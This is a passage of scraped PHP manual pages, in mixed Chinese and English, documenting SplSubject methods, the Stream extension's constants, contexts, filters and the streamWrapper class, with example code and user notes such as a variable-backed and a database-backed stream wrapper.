The most obvious storage type for observers (stored in attach()) is array. In order to be able to detach attached objects, you should be able to identify it inside observer storage.

I suggest you attach observers this way:

$this->_observers[spl_object_hash($observer)] = $observer;

so you can detach it later if you need:

unset($this->_observers[spl_object_hash($observer)]);


Detach an observer

  • ? SplSubject::attach
  • SplSubject::notify ?
  • PHP Manual
  • SplSubject
  • Detach an observer

SplSubject::detach

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplSubject::detach — Detach an observer

说明

public SplSubject::detach(SplObserver $observer): void

Detaches an observer from the subject to no longer notify it of updates.

Warning

本函数还未编写文档，仅有参数列表。

参数

observer

The SplObserver to detach.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Notify an observer

  • ? SplSubject::detach
  • Stream ?
  • PHP Manual
  • SplSubject
  • Notify an observer

SplSubject::notify

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplSubject::notify — Notify an observer

说明

public SplSubject::notify(): void

Notifies all attached observers.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Stream

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • Stream Classes
  • 预定义常量
  • Stream 过滤
  • Stream Contexts
  • Stream Errors
  • 示例
    • 示例类注册为流封装器
  • php_user_filter — The php_user_filter class
    • php_user_filter::filter — Called when applying the filter
    • php_user_filter::onClose — Called when closing the filter
    • php_user_filter::onCreate — Called when creating the filter
  • streamWrapper — streamWrapper 类
    • streamWrapper::__construct — Constructs a new stream wrapper
    • streamWrapper::__destruct — Destructs an existing stream wrapper
    • streamWrapper::dir_closedir — Close directory handle
    • streamWrapper::dir_opendir — Open directory handle
    • streamWrapper::dir_readdir — Read entry from directory handle
    • streamWrapper::dir_rewinddir — Rewind directory handle
    • streamWrapper::mkdir — Create a directory
    • streamWrapper::rename — Renames a file or directory
    • streamWrapper::rmdir — Removes a directory
    • streamWrapper::stream_cast — Retrieve the underlaying resource
    • streamWrapper::stream_close — Close a resource
    • streamWrapper::stream_eof — Tests for end-of-file on a file pointer
    • streamWrapper::stream_flush — Flushes the output
    • streamWrapper::stream_lock — Advisory file locking
    • streamWrapper::stream_metadata — Change stream metadata
    • streamWrapper::stream_open — Opens file or URL
    • streamWrapper::stream_read — Read from stream
    • streamWrapper::stream_seek — Seeks to specific location in a stream
    • streamWrapper::stream_set_option — Change stream options
    • streamWrapper::stream_stat — Retrieve information about a file resource
    • streamWrapper::stream_tell — Retrieve the current position of a stream
    • streamWrapper::stream_truncate — Truncate stream
    • streamWrapper::stream_write — Write to stream
    • streamWrapper::unlink — Delete a file
    • streamWrapper::url_stat — Retrieve information about a file
  • Stream 函数
    • stream_bucket_append — Append bucket to brigade
    • stream_bucket_make_writeable — Returns a bucket object from the brigade to operate on
    • stream_bucket_new — Create a new bucket for use on the current stream
    • stream_bucket_prepend — Prepend bucket to brigade
    • stream_context_create — 创建资源流上下文
    • stream_context_get_default — Retrieve the default stream context
    • stream_context_get_options — 获取资源流/数据包/上下文的参数
    • stream_context_get_params — Retrieves parameters from a context
    • stream_context_set_default — Set the default stream context
    • stream_context_set_option — 对资源流、数据包或者上下文设置参数
    • stream_context_set_options — Sets options on the specified context
    • stream_context_set_params — Set parameters for a stream/wrapper/context
    • stream_copy_to_stream — Copies data from one stream to another
    • stream_filter_append — Attach a filter to a stream
    • stream_filter_prepend — Attach a filter to a stream
    • stream_filter_register — Register a user defined stream filter
    • stream_filter_remove — 从资源流里移除某个过滤器
    • stream_get_contents — 读取资源流到一个字符串
    • stream_get_filters — 获取已注册的数据流过滤器列表
    • stream_get_line — 从资源流里读取一行直到给定的定界符
    • stream_get_meta_data — 从流或文件指针中获取 header/meta 数据
    • stream_get_transports — 获取已注册的套接字传输协议列表
    • stream_get_wrappers — 获取已注册的流类型
    • stream_is_local — Checks if a stream is a local stream
    • stream_isatty — Check if a stream is a TTY
    • stream_notification_callback — A callback function for the notification context parameter
    • stream_register_wrapper — 别名 stream_wrapper_register
    • stream_resolve_include_path — Resolve filename against the include path
    • stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds
    • stream_set_blocking — 为资源流设置阻塞或者阻塞模式
    • stream_set_chunk_size — 设置资源流区块大小
    • stream_set_read_buffer — Set read file buffering on the given stream
    • stream_set_timeout — Set timeout period on a stream
    • stream_set_write_buffer — Sets write file buffering on the given stream
    • stream_socket_accept — 接受由 stream_socket_server 创建的套接字连接
    • stream_socket_client — Open Internet or Unix domain socket connection
    • stream_socket_enable_crypto — Turns encryption on/off on an already connected socket
    • stream_socket_get_name — 获取本地或者远程的套接字名称
    • stream_socket_pair — 创建一对完全一样的网络套接字连接流
    • stream_socket_recvfrom — Receives data from a socket, connected or not
    • stream_socket_sendto — Sends a message to a socket, whether it is connected or not
    • stream_socket_server — 创建 Internet 或 Unix 域服务器套接字
    • stream_socket_shutdown — Shutdown a full-duplex connection
    • stream_supports_lock — Tells whether the stream supports locking
    • stream_wrapper_register — 注册一个用 PHP 类实现的 URL 封装协议
    • stream_wrapper_restore — Restores a previously unregistered built-in wrapper
    • stream_wrapper_unregister — Unregister a URL wrapper

User Contributed Notes

There are no user contributed notes for this page.


简介

流是概括文件、网络、数据压缩和其它操作的方式，共享一组通用的函数和用途。在其的简单定义中，stream 是表现可流动行为的 resource 对象。也就是说，它可以以线性的方式读写，并且可以 fseek() 到流中的任意位置。

wrapper 是附加代码，用于告诉流如何处理指定协议/编码。例如，http 封装协议知道如何将 URL 转换为 HTTP/1.0 请求远程服务器上的文件。默认情况下，PHP 内置了很多封装协议（参阅 支持的协议和封装协议），另外也可以直接从 PHP 脚本中使用 stream_wrapper_register() 或者直接从扩展中添加自定义封装协议。 因为任何种类的封装协议都可以添加到 PHP 中，所以对它们可以做什么并没有限制。使用 stream_get_wrappers() 访问当前已注册封装协议列表。

流作为 scheme://target 引用

  • scheme（string）——要使用的封装协议名称。示例为 file、http、https、ftp、ftps、compress.zlib、compress.bz2 和 php。PHP 内置封装协议列表，参阅支持的协议和封装协议。如果没有指定封装协议，函数使用默认值（通常是 file://）。
  • target——取决于要使用的封装协议。对于文件系统相关的流，这通常是所需文件的路径和文件名。对网络相关的流，这通常是主机名，通常跟着路径。再有，请参阅支持的协议和封装协议 获取对流内置目标的描述。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • Stream Classes

User Contributed Notes

There are no user contributed notes for this page.


Stream Classes

User designed wrappers can be registered via stream_wrapper_register(), using the class definition shown on that manual page.

Class php_user_filter is predefined and is an abstract baseclass for use with user defined filters. See the manual page for stream_filter_register() for details on implementing user defined filters.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Constant | Description
STREAM_FILTER_READ | Used with stream_filter_append() and stream_filter_prepend() to indicate that the specified filter should only be applied when reading
STREAM_FILTER_WRITE | Used with stream_filter_append() and stream_filter_prepend() to indicate that the specified filter should only be applied when writing
STREAM_FILTER_ALL | This constant is equivalent to STREAM_FILTER_READ | STREAM_FILTER_WRITE
PSFS_PASS_ON | Return Code indicating that the userspace filter returned buckets in $out.
PSFS_FEED_ME | Return Code indicating that the userspace filter did not return buckets in $out (i.e. No data available).
PSFS_ERR_FATAL | Return Code indicating that the userspace filter encountered an unrecoverable error (i.e. Invalid data received).
PSFS_FLAG_NORMAL | Regular read/write.
PSFS_FLAG_FLUSH_INC | An incremental flush.
PSFS_FLAG_FLUSH_CLOSE | Final flush prior to closing.
STREAM_USE_PATH | Flag indicating if the stream used the include path.
STREAM_REPORT_ERRORS | Flag indicating if the wrapper is responsible for raising errors using trigger_error() during opening of the stream. If this flag is not set, you should not raise any errors.
STREAM_CLIENT_ASYNC_CONNECT | Open client socket asynchronously. This option must be used together with the STREAM_CLIENT_CONNECT flag. Used with stream_socket_client().
STREAM_CLIENT_CONNECT | Open client socket connection. Client sockets should always include this flag. Used with stream_socket_client().
STREAM_CLIENT_PERSISTENT | Client socket opened with stream_socket_client() should remain persistent between page loads.
STREAM_SERVER_BIND | Tells a stream created with stream_socket_server() to bind to the specified target. Server sockets should always include this flag.
STREAM_SERVER_LISTEN | Tells a stream created with stream_socket_server() and bound using the STREAM_SERVER_BIND flag to start listening on the socket. Connection-orientated transports (such as TCP) must use this flag, otherwise the server socket will not be enabled. Using this flag for connect-less transports (such as UDP) is an error.
STREAM_NOTIFY_RESOLVE | A remote address required for this stream has been resolved, or the resolution failed. See severity for an indication of which happened.
STREAM_NOTIFY_CONNECT | A connection with an external resource has been established.
STREAM_NOTIFY_AUTH_REQUIRED | Additional authorization is required to access the specified resource. Typical issued with severity level of STREAM_NOTIFY_SEVERITY_ERR.
STREAM_NOTIFY_MIME_TYPE_IS | The mime-type of resource has been identified, refer to message for a description of the discovered type.
STREAM_NOTIFY_FILE_SIZE_IS | The size of the resource has been discovered.
STREAM_NOTIFY_REDIRECTED | The external resource has redirected the stream to an alternate location. Refer to message.
STREAM_NOTIFY_PROGRESS | Indicates current progress of the stream transfer in bytes_transferred and possibly bytes_max as well.
STREAM_NOTIFY_COMPLETED | There is no more data available on the stream.
STREAM_NOTIFY_FAILURE | A generic error occurred on the stream, consult message and message_code for details.
STREAM_NOTIFY_AUTH_RESULT | Authorization has been completed (with or without success).
STREAM_NOTIFY_SEVERITY_INFO | Normal, non-error related, notification.
STREAM_NOTIFY_SEVERITY_WARN | Non critical error condition. Processing may continue.
STREAM_NOTIFY_SEVERITY_ERR | A critical error occurred. Processing cannot continue.
STREAM_IPPROTO_ICMP + | Provides a ICMP socket.
STREAM_IPPROTO_IP + | Provides a IP socket.
STREAM_IPPROTO_RAW + | Provides a RAW socket.
STREAM_IPPROTO_TCP + | Provides a TCP socket.
STREAM_IPPROTO_UDP + | Provides a UDP socket.
STREAM_PF_INET + | Internet Protocol Version 4 (IPv4).
STREAM_PF_INET6 + | Internet Protocol Version 6 (IPv6).
STREAM_PF_UNIX + | Unix system internal protocols.
STREAM_SOCK_DGRAM + | Provides datagrams, which are connectionless messages (UDP, for example).
STREAM_SOCK_RAW + | Provides a raw socket, which provides access to internal network protocols and interfaces. Usually this type of socket is just available to the root user.
STREAM_SOCK_RDM + | Provides a RDM (Reliably-delivered messages) socket.
STREAM_SOCK_SEQPACKET + | Provides a sequenced packet stream socket.
STREAM_SOCK_STREAM + | Provides sequenced, two-way byte streams with a transmission mechanism for out-of-band data (TCP, for example).
STREAM_SHUT_RD | Used with stream_socket_shutdown() to disable further receptions.
STREAM_SHUT_WR | Used with stream_socket_shutdown() to disable further transmissions.
STREAM_SHUT_RDWR | Used with stream_socket_shutdown() to disable further receptions and transmissions.
STREAM_CAST_FOR_SELECT | Stream casting, for when stream_select() is calling stream_cast().
STREAM_CAST_AS_STREAM | Stream casting, when stream_cast() is called otherwise (see above).
STREAM_META_TOUCH | Used with stream_metadata(), to specify touch() call.
STREAM_META_OWNER | Used with stream_metadata(), to specify chown() call.
STREAM_META_OWNER_NAME | Used with stream_metadata(), to specify chown() call.
STREAM_META_GROUP | Used with stream_metadata(), to specify chgrp() call.
STREAM_META_GROUP_NAME | Used with stream_metadata(), to specify chgrp() call.
STREAM_META_ACCESS | Used with stream_metadata(), to specify chmod() call.
STREAM_BUFFER_NONE | No buffering.
STREAM_BUFFER_LINE | Line buffering.
STREAM_BUFFER_FULL | Full buffering.

Note: The constants marked with + are meant to be used with stream_socket_pair(). Please note that some of these constants might not be available in your system.

Note: The STREAM_META_* constants are meant to be used with stream_metadata().

User Contributed Notes

Sbastien 27-May-2022 10:02
All STREAM_ AND PSFS_ constants values :

PSFS_ERR_FATAL => 0
PSFS_FEED_ME => 1
PSFS_FLAG_FLUSH_CLOSE => 2
PSFS_FLAG_FLUSH_INC => 1
PSFS_FLAG_NORMAL => 0
PSFS_PASS_ON => 2
STREAM_BUFFER_FULL => 2
STREAM_BUFFER_LINE => 1
STREAM_BUFFER_NONE => 0
STREAM_CAST_AS_STREAM => 0
STREAM_CAST_FOR_SELECT => 3
STREAM_CLIENT_ASYNC_CONNECT => 2
STREAM_CLIENT_CONNECT => 4
STREAM_CLIENT_PERSISTENT => 1
STREAM_CRYPTO_METHOD_ANY_CLIENT => 127
STREAM_CRYPTO_METHOD_ANY_SERVER => 126
STREAM_CRYPTO_METHOD_SSLv23_CLIENT => 57
STREAM_CRYPTO_METHOD_SSLv23_SERVER => 120
STREAM_CRYPTO_METHOD_SSLv2_CLIENT => 3
STREAM_CRYPTO_METHOD_SSLv2_SERVER => 2
STREAM_CRYPTO_METHOD_SSLv3_CLIENT => 5
STREAM_CRYPTO_METHOD_SSLv3_SERVER => 4
STREAM_CRYPTO_METHOD_TLS_CLIENT => 121
STREAM_CRYPTO_METHOD_TLS_SERVER => 120
STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT => 9
STREAM_CRYPTO_METHOD_TLSv1_0_SERVER => 8
STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT => 17
STREAM_CRYPTO_METHOD_TLSv1_1_SERVER => 16
STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT => 33
STREAM_CRYPTO_METHOD_TLSv1_2_SERVER => 32
STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT => 65
STREAM_CRYPTO_METHOD_TLSv1_3_SERVER => 64
STREAM_CRYPTO_PROTO_SSLv3 => 4
STREAM_CRYPTO_PROTO_TLSv1_0 => 8
STREAM_CRYPTO_PROTO_TLSv1_1 => 16
STREAM_CRYPTO_PROTO_TLSv1_2 => 32
STREAM_CRYPTO_PROTO_TLSv1_3 => 64
STREAM_FILTER_ALL => 3
STREAM_FILTER_READ => 1
STREAM_FILTER_WRITE => 2
STREAM_IGNORE_URL => 2
STREAM_IPPROTO_ICMP => 1
STREAM_IPPROTO_IP => 0
STREAM_IPPROTO_RAW => 255
STREAM_IPPROTO_TCP => 6
STREAM_IPPROTO_UDP => 17
STREAM_IS_URL => 1
STREAM_META_ACCESS => 6
STREAM_META_GROUP => 5
STREAM_META_GROUP_NAME => 4
STREAM_META_OWNER => 3
STREAM_META_OWNER_NAME => 2
STREAM_META_TOUCH => 1
STREAM_MKDIR_RECURSIVE => 1
STREAM_MUST_SEEK => 16
STREAM_NOTIFY_AUTH_REQUIRED => 3
STREAM_NOTIFY_AUTH_RESULT => 10
STREAM_NOTIFY_COMPLETED => 8
STREAM_NOTIFY_CONNECT => 2
STREAM_NOTIFY_FAILURE => 9
STREAM_NOTIFY_FILE_SIZE_IS => 5
STREAM_NOTIFY_MIME_TYPE_IS => 4
STREAM_NOTIFY_PROGRESS => 7
STREAM_NOTIFY_REDIRECTED => 6
STREAM_NOTIFY_RESOLVE => 1
STREAM_NOTIFY_SEVERITY_ERR => 2
STREAM_NOTIFY_SEVERITY_INFO => 0
STREAM_NOTIFY_SEVERITY_WARN => 1
STREAM_OOB => 1
STREAM_OPTION_BLOCKING => 1
STREAM_OPTION_READ_BUFFER => 2
STREAM_OPTION_READ_TIMEOUT => 4
STREAM_OPTION_WRITE_BUFFER => 3
STREAM_PEEK => 2
STREAM_PF_INET => 2
STREAM_PF_INET6 => 23
STREAM_PF_UNIX => 1
STREAM_REPORT_ERRORS => 8
STREAM_SERVER_BIND => 4
STREAM_SERVER_LISTEN => 8
STREAM_SHUT_RD => 0
STREAM_SHUT_RDWR => 2
STREAM_SHUT_WR => 1
STREAM_SOCK_DGRAM => 2
STREAM_SOCK_RAW => 3
STREAM_SOCK_RDM => 4
STREAM_SOCK_SEQPACKET => 5
STREAM_SOCK_STREAM => 1
STREAM_URL_STAT_LINK => 1
STREAM_URL_STAT_QUIET => 2
STREAM_USE_PATH => 1


Stream 过滤

filter 是在流中执行读取或写入数据操作时的最后一段代码。可以将任意数量的过滤器堆叠到一个流上。可以在 PHP 脚本中使用 stream_filter_register() 或扩展定义自定义过滤器。要访问当前注册的过滤器列表，请使用 stream_get_filters()。

User Contributed Notes

There are no user contributed notes for this page.


Stream Contexts

A context is a set of parameters and wrapper specific options which modify or enhance the behavior of a stream. Contexts are created using stream_context_create() and can be passed to most filesystem related stream creation functions (i.e. fopen(), file(), file_get_contents(), etc...).

Options can be specified when calling stream_context_create(), or later using stream_context_set_option(). A list of wrapper specific options can be found in the 上下文（Context）选项和参数 chapter.

Parameters can be specified for contexts using the stream_context_set_params() function.

User Contributed Notes

alvaro at demogracia dot com 13-Jul-2015 12:19
Two important terms:

- An *option* is a protocol-specific setting, e.g. "method" (get, post, put...) if you are using HTTP or "callback function to be called when inserting a document" in MongoDB.

- A *parameter* is a settings that's common to all protocols. As of 2015 only one parameter got implemented ("notification").

While these words might look vague they are used coherently throughout the stream feature, documentation included.


Stream Errors

As with any file or socket related function, an operation on a stream may fail for a variety of normal reasons (i.e.: Unable to connect to remote host, file not found, etc...). A stream related call may also fail because the desired stream is not registered on the running system. See the array returned by stream_get_wrappers() for a list of streams supported by your installation of PHP. As with most PHP internal functions if a failure occurs an E_WARNING message will be generated describing the nature of the error.

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • 示例类注册为流封装器

Example #1 使用 file_get_contents() 从多个来源检索数据

<?php
/* 从 /home/bar 读取本地文件 */
$localfile = file_get_contents("/home/bar/foo.txt");

/* 与上面相同，显式命名 FILE 方案 */
$localfile = file_get_contents("file:///home/bar/foo.txt");

/* 使用 HTTP 从 www.example.com 读取远程文件 */
$httpfile = file_get_contents("http://www.example.com/foo.txt");

/* 使用 HTTPS 从 www.example.com 读取远程文件 */
$httpsfile = file_get_contents("https://www.example.com/foo.txt");

/* 使用 FTP 从 ftp.example.com 读取远程文件 */
$ftpfile = file_get_contents("ftp://user:pass@ftp.example.com/foo.txt");

/* 使用 FTPS 从 ftp.example.com 读取远程文件 */
$ftpsfile = file_get_contents("ftps://user:pass@ftp.example.com/foo.txt");
?>

Example #2 向 https 服务器发出 POST 请求

<?php
/* 发送 POST 请求到 https://secure.example.com/form_action.php
* 包含了名为 "foo" 和 "bar" 及其虚拟值的表单元素
*/

$sock = fsockopen("ssl://secure.example.com", 443, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");

$data = "foo=" . urlencode("Value for Foo") . "&bar=" . urlencode("Value for Bar");

fwrite($sock, "POST /form_action.php HTTP/1.0\r\n");
fwrite($sock, "Host: secure.example.com\r\n");
fwrite($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Content-length: " . strlen($data) . "\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "\r\n");
fwrite($sock, $data);

$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$str\n";

echo "\n";

$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);

fclose($sock);
?>

Example #3 将数据写入压缩文件

<?php
/* 创建一个包含任意字符串的压缩文件
* 文件可以使用 compress.zlib 流读取，
* 也可以使用 "gzip -d foo-bar.txt.gz" 从命令行解压缩文件
*/
$fp = fopen("compress.zlib://foo-bar.txt.gz", "wb");
if (!$fp) die("Unable to create file.");

fwrite($fp, "This is a test.\n");

fclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.


示例类注册为流封装器

下面的示例实现了一个 var:// 协议处理程序，允许使用诸如 fread() 之类的标准文件系统流函数对有名称的全局变量进行读写访问。下面实现的 var:// 协议，指定的 URL "var://foo" 将从 $GLOBALS["foo"] 读写数据。

Example #1 用于读写全局变量的流

<?php

class VariableStream {
var $position;
var $varname;

function stream_open($path, $mode, $options, &$opened_path)
{
$url = parse_url($path);
$this->varname = $url["host"];
$this->position = 0;

return true;
}

function stream_read($count)
{
$ret = substr($GLOBALS[$this->varname], $this->position, $count);
$this->position += strlen($ret);
return $ret;
}

function stream_write($data)
{
$left = substr($GLOBALS[$this->varname], 0, $this->position);
$right = substr($GLOBALS[$this->varname], $this->position + strlen($data));
$GLOBALS[$this->varname] = $left . $data . $right;
$this->position += strlen($data);
return strlen($data);
}

function stream_tell()
{
return $this->position;
}

function stream_eof()
{
return $this->position >= strlen($GLOBALS[$this->varname]);
}

function stream_seek($offset, $whence)
{
switch ($whence) {
case SEEK_SET:
if ($offset < strlen($GLOBALS[$this->varname]) && $offset >= 0) {
$this->position = $offset;
return true;
} else {
return false;
}
break;

case SEEK_CUR:
if ($offset >= 0) {
$this->position += $offset;
return true;
} else {
return false;
}
break;

case SEEK_END:
if (strlen($GLOBALS[$this->varname]) + $offset >= 0) {
$this->position = strlen($GLOBALS[$this->varname]) + $offset;
return true;
} else {
return false;
}
break;

default:
return false;
}
}

function stream_metadata($path, $option, $var)
{
if($option == STREAM_META_TOUCH) {
$url = parse_url($path);
$varname = $url["host"];
if(!isset($GLOBALS[$varname])) {
$GLOBALS[$varname] = '';
}
return true;
}
return false;
}
}

stream_wrapper_register("var", "VariableStream")
or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

?>

以上示例会输出：

line1
line2
line3
string(18) "line1
line2
line3
"

User Contributed Notes

pfe dot skh at gmail dot com 08-Aug-2010 09:47
Example of stream used with databases :

Requirement :
A MySQL database with a table named data structured as follow :
CREATE TABLE IF NOT EXISTS `data` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `data` varchar(255) NOT NULL,
  `when_inserted` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

Now with the stream implementation :

<?php

class DBStream {
    private $_pdo;
    private $_ps;
    private $_rowId = 0;

    function stream_open($path, $mode, $options, &$opath)
    {
        $url = parse_url($path);
        $url['path'] = substr($url['path'], 1);
        try{
            $this->_pdo = new PDO("mysql:host={$url['host']};dbname={$url['path']}", $url['user'], isset($url['pass'])? $url['pass'] : '', array());
        } catch(PDOException $e){ return false; }
        switch ($mode){
            case 'w' :
                $this->_ps = $this->_pdo->prepare('INSERT INTO data VALUES(null, ?, NOW())');
                break;
            case 'r' :
                $this->_ps = $this->_pdo->prepare('SELECT id, data FROM data WHERE id > ? LIMIT 1');
                break;
            default  : return false;
        }
        return true;
    }

    function stream_read()
    {
         $this->_ps->execute(array($this->_rowId));
         if($this->_ps->rowCount() == 0) return false;
         $this->_ps->bindcolumn(1, $this->_rowId);
         $this->_ps->bindcolumn(2, $ret);
         $this->_ps->fetch();
         return $ret;
    }

    function stream_write($data)
    {
        $this->_ps->execute(array($data));
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->_rowId;
    }

    function stream_eof()
    {
        $this->_ps->execute(array($this->_rowId));
        return (bool) $this->_ps->rowCount();
    }

    function stream_seek($offset, $step)
    {
        //No need to be implemented
    }
}

stream_register_wrapper('db', 'DBStream');

$fr = fopen('db://testuser@localhost/testdb', 'r');
$fw = fopen('db://testuser:testpassword@localhost/testdb', 'w');
//The two forms above are accepted : for the former, the default password "" will be used

$alg = hash_algos();
$al = $alg[array_rand($alg)];
$data = hash($al, rand(rand(0, 9), rand(10, 999))); // Some random data to be written
fwrite($fw, $data); // Writing the data to the wrapper
while($a = fread($fr, 256)){ //A loop for reading from the wrapper
    echo $a . '<br />';
}
?>

Hope it helps, cheers ;)


The php_user_filter class

(PHP 5, PHP 7, PHP 8)

简介

Children of this class are passed to
stream_filter_register().
Note that the __construct method is not called;
instead, php_user_filter::onCreate() should be used for
initialization.

类摘要

class php_user_filter {
/* 属性 */
public string $filtername = "";
public mixed $params = "";
public ?resource $stream = null;
/* 方法 */
public filter(
resource $in,
resource $out,
int &$consumed,
bool $closing
): int
public onClose(): void
public onCreate(): bool
}

属性

filtername

Name of the filter registered by stream_filter_append().

params

stream

Table of Contents

  • php_user_filter::filter — Called when applying the filter
  • php_user_filter::onClose — Called when closing the filter
  • php_user_filter::onCreate — Called when creating the filter

User Contributed Notes

There are no user contributed notes for this page.


Called when applying the filter

  • ? php_user_filter
  • php_user_filter::onClose ?
  • PHP Manual
  • php_user_filter
  • Called when applying the filter

php_user_filter::filter

(PHP 5, PHP 7, PHP 8)

php_user_filter::filter — Called when applying the filter

说明

public php_user_filter::filter(
resource $in,
resource $out,
int &$consumed,
bool $closing
): int

This method is called whenever data is read from or written to the attached stream (such as with fread() or fwrite()).

参数

in

in is a resource pointing to a bucket brigade which contains one or more bucket objects containing data to be filtered.

out

out is a resource pointing to a second bucket brigade into which your modified buckets should be placed.

consumed

consumed, which must always be declared by reference, should be incremented by the length of the data which your filter reads in and alters. In most cases this means you will increment consumed by $bucket->datalen for each $bucket.

closing

If the stream is in the process of closing (and therefore this is the last pass through the filterchain), the closing parameter will be set to true.

返回值

The filter() method must return one of three values upon completion.

Return Value | Meaning
PSFS_PASS_ON | Filter processed successfully with data available in the out bucket brigade.
PSFS_FEED_ME | Filter processed successfully, however no data was available to return. More data is required from the stream or prior filter.
PSFS_ERR_FATAL (default) | The filter experienced an unrecoverable error and cannot continue.

User Contributed Notes

There are no user contributed notes for this page.


Called when closing the filter

  • ? php_user_filter::filter
  • php_user_filter::onCreate ?
  • PHP Manual
  • php_user_filter
  • Called when closing the filter

php_user_filter::onClose

(PHP 5, PHP 7, PHP 8)

php_user_filter::onClose — Called when closing the filter

说明

public php_user_filter::onClose(): void

This method is called upon filter shutdown (typically, this is also during stream shutdown), and is executed after the flush method is called. If any resources were allocated or initialized during onCreate() this would be the time to destroy or dispose of them.

参数

此函数没有参数。

返回值

Return value is ignored.

User Contributed Notes

There are no user contributed notes for this page.


Called when creating the filter

  • ? php_user_filter::onClose
  • streamWrapper ?
  • PHP Manual
  • php_user_filter
  • Called when creating the filter

php_user_filter::onCreate

(PHP 5, PHP 7, PHP 8)

php_user_filter::onCreate — Called when creating the filter

说明

public php_user_filter::onCreate(): bool

This method is called during instantiation of the filter class object. If your filter allocates or initializes any other resources (such as a buffer), this is the place to do it.

When your filter is first instantiated, and yourfilter->onCreate() is called, a number of properties will be available as shown in the table below.

Property | Contents
FilterClass->filtername | A string containing the name the filter was instantiated with. Filters may be registered under multiple names or under wildcards. Use this property to determine which name was used.
FilterClass->params | The contents of the params parameter passed to stream_filter_append() or stream_filter_prepend().
FilterClass->stream | The stream resource being filtered. Maybe available only during filter() calls when the closing parameter is set to false.

参数

此函数没有参数。

返回值

Your implementation of this method should return false on failure, or true on success.

User Contributed Notes

There are no user contributed notes for this page.


streamWrapper 类

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

简介

允许实现自定义协议处理程序和流，以便与其它文件系统函数（比如 fopen()、 fread() 等）一起使用。

Note:

这不是真实的类，只是如何定义协议的原型类。

Note:

不使用此处描述的方法而使用其它方式可能会导致未定义行为。

一旦流函数尝试访问与其关联的协议，就会初始化此类的实例。

类摘要

class streamWrapper {
/* 属性 */
public resource $context;
/* 方法 */
public __construct()
public dir_closedir(): bool
public dir_opendir(string $path, int $options): bool
public dir_readdir(): string
public dir_rewinddir(): bool
public mkdir(string $path, int $mode, int $options): bool
public rename(string $path_from, string $path_to): bool
public rmdir(string $path, int $options): bool
public stream_cast(int $cast_as): resource
public stream_close(): void
public stream_eof(): bool
public stream_flush(): bool
public stream_lock(int $operation): bool
public stream_metadata(string $path, int $option, mixed $value): bool
public stream_open(
string $path,
string $mode,
int $options,
?string &$opened_path
): bool
public stream_read(int $count): string|false
public stream_seek(int $offset, int $whence = SEEK_SET): bool
public stream_set_option(int $option, int $arg1, int $arg2): bool
public stream_stat(): array|false
public stream_tell(): int
public stream_truncate(int $new_size): bool
public stream_write(string $data): int
public unlink(string $path): bool
public url_stat(string $path, int $flags): array|false
public __destruct()
}

属性

资源 context

当前 context，或者没有 context 传递给调用函数，则为 null。

使用 stream_context_get_options() 解析 context。

Note:

此属性必须是 public，以便 PHP 可以使用使用实际的 context 资源填充它。

参见

  • 示例类注册为流封装器
  • stream_wrapper_register()
  • stream_wrapper_unregister()
  • stream_wrapper_restore()

Table of Contents

  • streamWrapper::__construct — Constructs a new stream wrapper
  • streamWrapper::__destruct — Destructs an existing stream wrapper
  • streamWrapper::dir_closedir — Close directory handle
  • streamWrapper::dir_opendir — Open directory handle
  • streamWrapper::dir_readdir — Read entry from directory handle
  • streamWrapper::dir_rewinddir — Rewind directory handle
  • streamWrapper::mkdir — Create a directory
  • streamWrapper::rename — Renames a file or directory
  • streamWrapper::rmdir — Removes a directory
  • streamWrapper::stream_cast — Retrieve the underlaying resource
  • streamWrapper::stream_close — Close a resource
  • streamWrapper::stream_eof — Tests for end-of-file on a file pointer
  • streamWrapper::stream_flush — Flushes the output
  • streamWrapper::stream_lock — Advisory file locking
  • streamWrapper::stream_metadata — Change stream metadata
  • streamWrapper::stream_open — Opens file or URL
  • streamWrapper::stream_read — Read from stream
  • streamWrapper::stream_seek — Seeks to specific location in a stream
  • streamWrapper::stream_set_option — Change stream options
  • streamWrapper::stream_stat — Retrieve information about a file resource
  • streamWrapper::stream_tell — Retrieve the current position of a stream
  • streamWrapper::stream_truncate — Truncate stream
  • streamWrapper::stream_write — Write to stream
  • streamWrapper::unlink — Delete a file
  • streamWrapper::url_stat — Retrieve information about a file

User Contributed Notes

info at ensostudio dot ru 29-Jul-2020 11:09
THIS METHODS NOT REQUIRED, you can implement only part of their: directories, files, etc.
For example, "glob://" support minimal syntax, glob() more powerful, you can replace/extend native wrapper: check options in table https://www.php.net/manual/ru/wrappers.glob , you need create wrapper only with 'dir_...dir' methods. For more info, see https://www.php.net/manual/en/class.globiterator.php#125220
Anonymous 21-Sep-2011 12:02
Here is a very simple stream wrapper which calls your callback function for reads:

<?php

class CallbackUrl
{
